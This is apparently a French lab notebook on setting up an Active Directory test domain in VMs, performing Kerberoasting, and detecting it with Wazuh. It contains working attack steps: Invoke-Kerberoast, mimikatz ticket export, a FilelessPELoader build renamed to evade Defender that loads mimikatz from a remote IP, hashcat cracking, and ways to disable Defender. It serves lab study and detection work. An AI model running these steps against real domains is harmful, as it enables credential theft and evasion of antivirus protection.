---
# System prepended metadata

title: Élévation des privilèges Windows

---

<details open>
<summary>Table des matières</summary>

[TOC]

</details>

<br>

La VM Windows 10 ne peut pas être utilisé pour Active Directory, car elle utilise une version famille de ce dernier, cependant Windows 8, lui, peut être utilisé.

De plus, il faut avoir un serveur Active Directory pour pouvoir l'utiliser sur un poste.

# Résumé

- droits d'admin (local ou AD) pour désactiver Windows defender
- droits d'admin (local ou AD, mais local pas viable) pour importer un module

Récupérer le compte **admin AD** avec : 
- script hackndo (marche avec l'admin **AD**, mais pas **local**)
- script mimikatz (marche avec l'admin **local** ou sans droit d'admin avec FilelessPELoader)

Détection avec wazuh :
- Détection de la récupération de ticket auprès du serveur
- Détection de l'exécution de mimikatz dur le PC victime
- Non Détection de l'exécution de mimikatz avec FilelessPELoader


# Test SPN sur Windows 10 pro

Par défaut le module Active Directory n'existe pas, il faut donc l'installer par ce lien :
> [Active Directory](https://www.microsoft.com/fr-FR/download/details.aspx?id=45520)

:::warning
Active Directory ne peut être installé que sur des versions de Windows pro ou d'entreprise (pas testé).
:::

Ensuite, il faut chercher `fonctionnalité facultative` dans la barre de recherche Windows et ajouter toutes les fonctionnalités facultatives liées à **Active Directory**.

![](https://hackmd.io/_uploads/BkEmwdKd3.png)

À présent, La commande suivante permettant de visualiser les SPN peut être exécutée :
```
Get-ADObject -Identity "CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=HALO,DC=NET" -Properties sPNMappings
```

On constate qu'elle ne fonctionne pas, car il faut un serveur **Active Directory**, que l'on va créer par la suite.

# Windows serveur

*J'utilise la version 2019 de Windows Server.*

## Ajouter Active Directory

Il faut, dans un premier temps, ajouter Active Directory à notre server.
Pour cela, il faut :
- Ouvrir la fenêtre de gestion de serveur accessible depuis le menu démarré.
- cliquer sur gérer et ajouter des rôles et fonctionnalités
- Choisir tous les éléments qui nous intéressent (ici tout ce qui porte le terme Active Directory sans trop savoir ce que ça fait, car ce server n'existe cas but de test)
- Une fois l'installation finalisée, il faut cliquer sur le drapeau en haut à droite du gestionnaire de server qui doit normalement présenter un symbole attention, puis cliquer sur le message `promouvoir le serveur en controleur de domaine`
![](https://hackmd.io/_uploads/S1lgEKwYdn.png)
- pour la suite se référer au tuto suivant : 
>[Installer Active Directory](https://informerick.com/tutoriels-informatique/installer-active-directory#Configuration_de_lAD-DS)
> > Je n'ai pas regardé la partie précédente du tuto indiquant comment rajouter Active Directory à son serveur

## Créer un utilisateur

- Sur le serveur, allez dans *outils/Utilisateurs et Ordinateurs Active Directory*
![](https://hackmd.io/_uploads/SyisYiKuh.png)
- Développez le domaine que vous avez créé, puis faite un clic droit et nouvel utilisateur :
![](https://hackmd.io/_uploads/B18nYjt_n.png)
- Rentrez nom, prénom et nom d'utilisateur de session :
![](https://hackmd.io/_uploads/S17v9jKu3.png)
- Validez les étapes suivantes et votre utilisateur sera normalement visible dans la liste à droite lorsque vous sélectionnez le dossier utilisateur.


# Connecter un poste à Active Directory

## Sur VMs

Nos postes étant des VM, la connexion entre server et poste est un peu différente que sur de réelles machines.
:::info
Ce que je propose par la suite marche, cependant il existe peut-être un moyen plus simple de le faire.
:::

1. Créer un nouveau network sur virtual Box.
2. Créer un adaptateur host-only sur le server et le poste que l'on souhaite connecter au serveur.
3. Sur la VM server faire un ipconfig et récupérer l'adresse IP du port ethernet lié au réseau host-only.

    ![](https://hackmd.io/_uploads/r1lkkOYOn.png)
    
4. Sur le poste, suivre la partie 2 du [tuto précédent](https://informerick.com/tutoriels-informatique/installer-active-directory#rank-math-howto) qui indique comment changer l'IP d'un adaptateur ethernet, sauf qu'au moment de rentrer l'IP du DNS, il faut mettre celle trouvée précédemment.
5. On peut directement passer à la dernière partie de ce [tuto](https://informerick.com/tutoriels-informatique/installer-active-directory#commnet-connecter-un-poste-a-l-active-directory) pour ajouter un domaine à son poste.
6. Une fois le domaine trouvé, il vous demandera de vous connecter, il faudra mettre en nom d'utilisateur **Administrateur** ou **Administrator** et le mot de passe que vous avez choisi pour votre serveur.
7. Pour finir, on vous demandera de redémarrer le système pour appliquer les changements.
8. Une fois revenu à la fenêtre de connexion, vous devrez voir la chose suivante en choisissant ***autre utilisateur*** :

![](https://hackmd.io/_uploads/BJ7s3otdn.png)

Vous pouvez à présent vous connecter avec le compte utilisateur que vous avez créé sur le serveur.

> Vidéo complémentaire pour installer [active directory sur VM](https://www.youtube.com/watch?v=Bm3mihQNGI4)

# Obtenir les SPN d'un poste connecté au domaine

*source : [Hackndo SPN](https://beta.hackndo.com/service-principal-name-spn/)*

Pour obtenir les SPN d'un poste connecté à un domaine, on exécute la commande suivante :

```
Get-ADObject -Identity "CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=corp,DC=ActiveDirectory,DC=local" -properties sPNMappings
```

:::info
À noter que DC doit être adapté au domaine qu'on souhaite visualiser. Mon domaine s'appelle **corp.ActiveDirectory.local**
J'écris donc : `DC=corp,DC=ActiveDirectory,DC=local`
:::


# Kerberoasting

*[Hackndo kerboaroasting](https://beta.hackndo.com/kerberoasting/)*
*[github avec programmes souvent utilisés](https://github.com/nidem/kerberoast)*

Sur hackndo, on propose un script permettant de récupérer les utilisateurs possédant un SPN :
```
$search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$search.filter = "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))"
$results = $search.Findall()
foreach($result in $results)
{
	$userEntry = $result.GetDirectoryEntry()
	Write-host "User : " $userEntry.name "(" $userEntry.distinguishedName ")"
	Write-host "SPNs"        
	foreach($SPN in $userEntry.servicePrincipalName)
	{
		$SPN       
	}
	Write-host ""
}
```

Pour le tester, il faut donc, dans un premier temps, ajouter un SPN à un utilisateur. POur cela, il faut aller dans l'onglet **outils** et choisir :  **Utilisateurs et ordinateurs Active Directory**. À présent, il faut activer les fonctionnalités avancées dans l'onglet affichage.
![](https://hackmd.io/_uploads/SJ4BUgoOh.png)

Maintenant, on peut éditer le SPN d'un utilisateur en faisant **clic droit** dessus puis **propriétés** et **Éditeur d'attribut**.
![](https://hackmd.io/_uploads/r19aLxodh.png)

## Methode 1 : Script Hackndo

On propose sur hackndo d'utiliser le script de `Invoke-Kerberoast` de [Empire](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1).
Pour l'utiliser, il faut d'abord l'importer en utilisant la commande suivante sur un terminal PowerShell :
```
Import-Module .\Invoke-Kerberoast.ps1
```

:::warning
Besoin d'être admin (local ou AD) pour exécuter cette commande
> Cependant elle ne pourra pas être utilisé sur un autre terminal powershell et si on l'éxécute en administrateur **local** on aura pas accès au ticket kerberos de l'AD, donc ne marchera qu'avec l'admin du serveur.
:::

On peut à présent récupérer les tickets des utilisateurs avec SPN en exécutant la commande suivante :

```
Invoke-Kerberoast -domain <DOMAINE> -OutputFormat "Hashcat" | Export-CSV -NoTypeInformation output.hash
```

On obtiendra le fichier suivant, et on ne gardera que la partie suivante dans le fichier de sortie (en enlevant les guillemets si présents) :

![](https://hackmd.io/_uploads/ByKNH_BKn.png)

On peut maintenant récupérer le fichier output.hash sur sa machine perso pour cracker le mot de passe avec **Hashcat**.

On se connecte sur notre machine Linux et lancer Hashcat avec une base de mot de passe (comme rockyou.txt) en exécutant la commande suivante :
```
hashcat -m 13100 output.hash <PASSWORD_DB>
```
Puis, on récupéra (si le mot de passe est dans le fichier texte) le mot de passe en clair du compte utilisateur associé au SPN.

![](https://hackmd.io/_uploads/HJIAnOBYh.png)

Si pour une raison ou une autre, on a plus le résultat du craquage, on peut le retrouver en cherchant le path du résultat avec la commande suivante :

```
find / -name "hashcat.potfile" 2>/dev/null
```

Il suffit d'ouvrir le fichier présent à cet endroit pour obtenir le ticket précédant avec le mdp en clair à la fin. Si l'on souhaite exécuter à nouveau le crackage du mot de passe, on a juste à supprimer ce fichier.

## Methode 2 : script Mimikatz

*cf : [Video kerberoasting mimikatz](https://www.youtube.com/watch?v=HHJWfG9b0-E), [hacktricks : kerberoasting](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast)*

### Obtenir SPNs

Dans un premier temps, on va chercher à visualiser tous les différents SPN de notre domaine afin d'en identifier un attaquable (un dont le mdp a été créé par un humain et du coup potentiellement crackable).
```
setspn -T DOMAINENAME -F -Q */* 
#for example the DOMAINENAME can be corp.ActiveDirectory.local
```
![](https://hackmd.io/_uploads/BkPjWFBKn.png)

On va essayer de récupérer le SPN de Paul, car c'est un user, donc le mot de passe à de forte chance d'être cassable.

### Obtenir ticket

On peut visualiser en premier lieu les tickets que possède la machine avec la commande `klist`, on remarquera qu'après exécution de cette étape un ticket supplémentaire sera apparu.

```
Add-Type -AssemblyName System.IdentityModel 
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: FAKE/SERVICE 
```

Avec ces commandes, on aura à notre disposition un nouveau ticket lié au service demandé.

![](https://hackmd.io/_uploads/HJv8LFrY2.png)

### Export des tickets kerebros

Pour exporter les tickets, on va utiliser mimikatz. Maintenant, on va exécuter une méthode différente selon si l'on dispose des droits d'administrateur **locaux** de la machine Windows.

#### Avec droits d'administration

*[mimikatz_trunk.zip](https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip)*

Grâce aux droits d'administrateur, on peut couper la protection en temps réel de defender, et donc installer mimkatz. On a juste à l'exécuter et réaliser la commande suivante dans son terminal pour extraire les tickets kerberos :
```
kerberos::list /export #export les tickets dans le répertoire courant
```

![](https://hackmd.io/_uploads/HyB6PKSK2.png)

#### Sans droits d'administration
:::warning
Defender est souvent mis à jour, il se peut donc que cette technique ne reste pas possible très longtemps
:::

*[tuto vidéo pour FileLessPELoader](https://www.youtube.com/watch?v=zOcl3o5lYYo&list=PL0UJtYdHHM44uqGlDN-DQUYzoOj5Mp3ZF)*

La vidéo ci-dessus explique bien comment utiliser FileLessPeLoader pour exécuter mimkatz sur notre pc victime, seulement depuis defender a été mis à jour et détecte l'exécution de FileLessPELoader.exe. Mais il est possible de quand même réaliser cette technique en modifiant le nom des variables dans le fichier ***FileLessPELoader.cpp***.

##### Module Visual studio

Pour la compilation de FileLessPELoader, il faut installer visual studio et certain module, voici ce que j'a installé :

![](https://hackmd.io/_uploads/BkvlkJNcn.png)

#### Module python

Pour exécuter le script python et lancer le web serveur, il faut installer quelques modules sur votre machine :

- pycryptodome
- pycryptodomex
- httpserver

#### Exécution de FilelessPELoader

Sur le pc victime, il n'y aura pas forcément visual studio d'accessible, or il nous faudra forcément pouvoir compiler le programme au moins une fois. Pour palier ce problème, on le compile une fois sur notre pc puis on copie le répertoire FileLessPELoader sur une clé USB ou drive en incluant à l'endroit de l'exécutable (normalement *FilelessPELoader-mainFilelessPELoader\x64\Debug*) les fichiers suivant (trouvable normalement ici : *C:\Windows\System32*) :

- vcruntime140d.dll
- vcruntime140_1d.dll
- msvcp140d.dll
- ucrtbased.dll

[exemple de drive](https://drive.google.com/drive/folders/1UVesWUzP3ydGrRL3997uUKxt_qOJf_iP?usp=sharing)  avec fichiers modifiés pour outrepasser Defender et avec les fichiers supplémentaires.
:::info
Le ***.exe*** ne pourra pas être téléchargé, car il est vu comme étant un fichier infecté et sera à télécharger tout seul parce qu'il est considéré comme étant un fichier infecté et donc ne pouvant pas être téléchargé avec l'ensemble du fichier.
>voici un lien [github](https://github.com/ruchlejs/FilelessPELoader_Modified) pour télécharger les fichiers du drive.
:::

Mimikatz sera détecté à l'exécution, mais il sera malgré tout exécuté un court instant, ce qui nous donne quand même l'opportunité d'exécuter notre unique commande à l'aide d'un pipe.
Pour cela, on remplace la commande indiquée dans la vidéo par :

```
echo kerberos::list /export | FilelessPELoader.exe <IP MACHINE> <PORT machine> cipher.bin keybin
```

![](https://hackmd.io/_uploads/rymJWf492.png)

Les tickets kerberos sont à présent dans le même répertoire que **FilelessPELoader.exe** et peuvent être récupéré sur sa machine personnelle.


## Crackage du mot de passe

Je récupère maintenant les tickets sur mon pc personnel pour pouvoir les cracker sans restriction.

### Conversion des fichiers

On va dans un premier temps, convertir les fichiers kirbi obtenu précédemment pour lu par john avec [kirbi2john.py](https://github.com/nidem/kerberoast/blob/master/kirbi2john.py). Il faudra aussi ce munir de [kerberos.py](https://github.com/nidem/kerberoast/blob/master/kerberos.py)
> Il faudra installer le module pyasn1 au préalable
```
for fichier in *.kirbi; do python kirbi2john.py "$fichier" > "${fichier%.kirbi}.txt"; done
```

### Obtention du mot de passe

On peut, à présent, cracker ces mdp avec **Hashcat** joint à une base de donnée de mdp :
```
hashcat -m 13100 1-40a10000-ruchlejs@FAKE~SERVICE-CORP.ACTIVEDIRECTORY.LOCAL.txt <PASSWORD_DB>
```
Ce qui nous donne :

![](https://hackmd.io/_uploads/ryB-mqSK2.png)

Si on veut exécuter à nouveau le crack du mot de passe, il faut supprimer le fichier **hahscat.potfile** situé dans le répertoire */.hashcat/* :

```
rm /.hashcat/hashcat.potfile
```

# Detection par Wazuh

*On cherche à détecter la réalisation de la méthode 2.*

## Lire les commandes réalisées sur PowerShell

*cf [Monitor comands in the Windows CMD or PowerShell](https://github.com/wazuh/wazuh/issues/10712/), [PowerShell Logging](https://github.com/OpenSecureCo/Wazuh/blob/main/PowerShell%20Logging)*

:::danger
Je n'ai pas réussi à afficher la commande sur le dashboard, mais je reçois bien les logs.
:::

### Paramétrage du domaine

Il faut, dans un premier temps, paramétrer le terminal PowerShell pour qu'il renvoie bien des logs.

Pour cela, il faut :

1. Ouvrir le **gestionnaire des stratégies de groupes**
2. Sélectionner le domaine qui nous intéresse

![](https://hackmd.io/_uploads/HJzntyej3.png)

3. faire un clic droit et sélectionner : **Créer un objet GPO dans ce domaine, et le lier ici...**
4. Donner un nom significatif à l'objet GPO, par exemple "PowerShell Settings GPO".
5. Faire ensuite, un clic droit sur l'élément précédemment créé, puis choisir **modifier**.
6. Sélectionner *Configuration ordinateur → Modèle d'administration → Composant Windows → Windows PowerShell*, et vous devriez obtenir la fenêtre suivante :

![](https://hackmd.io/_uploads/SJd26yxsn.png)

7. Activer l'enregistrement des modules, et afficher le nom des modules, puis rentrer "*" comme valeur pour que tous les modules soient analysés, puis validé :

![](https://hackmd.io/_uploads/Skl9Zglo3.png)

8. Activer la journalisation des blocs de script PowerShell et la transcription PowerShell (Juste besoin de cocher la case activé).

### Paramétrage de wazuh

#### agents
Il faut à présent indiquer aux agents d'aller chercher les logs PowerShell, pour cela, soit on change le ossec.conf de chaque agent, soit on indique fait le changement directement pour tout le groupe comme fait ci-dessous :

![](https://hackmd.io/_uploads/S1SQUlgj2.png)

#### Manager
Il faut rajouter la ligne *<logall_json>yes</logall_json>* dans le ossec.conf du manager comme ci-dessous :
```
<global>
    .
    .
    .
    <logall_json>yes</logall_json>
</global>
```

:::info
On devrait être à présent capable de détecter les commandes effectuées sur PowerShell avec les règles suivantes, mais chez moi ça n'a pas marché et je n'ai pas réussi à déboguer pourquoi.
J'ai simplement vu que les logs était bien présent dans /var/ossec/logs/archives/archives.json.
:::

#### Règles

![](https://hackmd.io/_uploads/H1mFDxxo2.png)

## Détecter kerberoast attack

*cf [How to detect AD attack](https://wazuh.com/blog/how-to-detect-active-directory-attacks-with-wazuh-part-1-of-2/)*

Ce tuto montre la détection de 2 attaques différentes sur AD : DCSync attacks, Golden ticket attacks, Kerberoasting attacks.

En suivant le tuto de détection de l'attaque kerberoast, le server sera capable de détecter quand est-ce qu'un utilisateur fait une demande de ticket et donc de signaler une possible attaque kerberoast.

## Détecter l'exécution de mimikatz

*cf [detecting threat on Windows](https://wazuh.com/blog/learn-to-detect-threats-on-windows-by-monitoring-sysmon-events/)*

Ce tuto montre comment détecter l'exécution de mimikatz sur le **pc victime** (ne le détecte donc pas lorsqu'il est utilisé" avec FilelessPELoader).

La configuration de sysmon proposé dans ce tuto n'est normalement pas nécessaire si on l'a configuré en suivant le tuto précédent, car plus complet.

:::warning
Je n'ai pas réussi à détecter l'exécution de mimikatz par FilelessPELoader, cependant son exécution génère des logs qu'on peut observer dans /var/ossec/logs/archives/archives.json qui m'ont l'air détectable soit comme pour l'exécution d'une commande, comme vu précédemment, soit comme pour l'exécution de mimikatz avec peut-être la notion d'image.
:::

---

# Désactiver windows defender

- Windows teaker (besoin de droit d'admin)
- [Désinstaller avec mse removal](https://support.kaspersky.com/fr/common/windows/13341#block2) (besoin des droits d'administration) 

# Facultatif

## Serveur version Core (terminal)
Aide pour mettre le clavier en français sur un Windows server sans parti graphique.

### Clavier Azerty

Le clavier étant par défaut en QWERTY, je me suis d'abord penché sur le fait de le passer en AZERTY.

Pour cela, je me suis placé dans un terminal PowerShell :
```
start powershell
```

J'ai d'abord supprimé la config actuelle :
```
Set-WinUserLanguageList -LanguageList (Get-WinUserLanguageList).LanguageTag
```

Puis j'ai paramétré le clavier azerty :
```
$LanguageList = Get-WinUserLanguageList
$LanguageList[0].InputMethodTips.Clear()
$LanguageList[0].InputMethodTips.Add("040C:0000040C")
Set-WinUserLanguageList -LanguageList $LanguageList
```

Pour finir, j'ai redémarré la machine pour prendre en compte la nouvelle configuration :
```
shutdown /r
```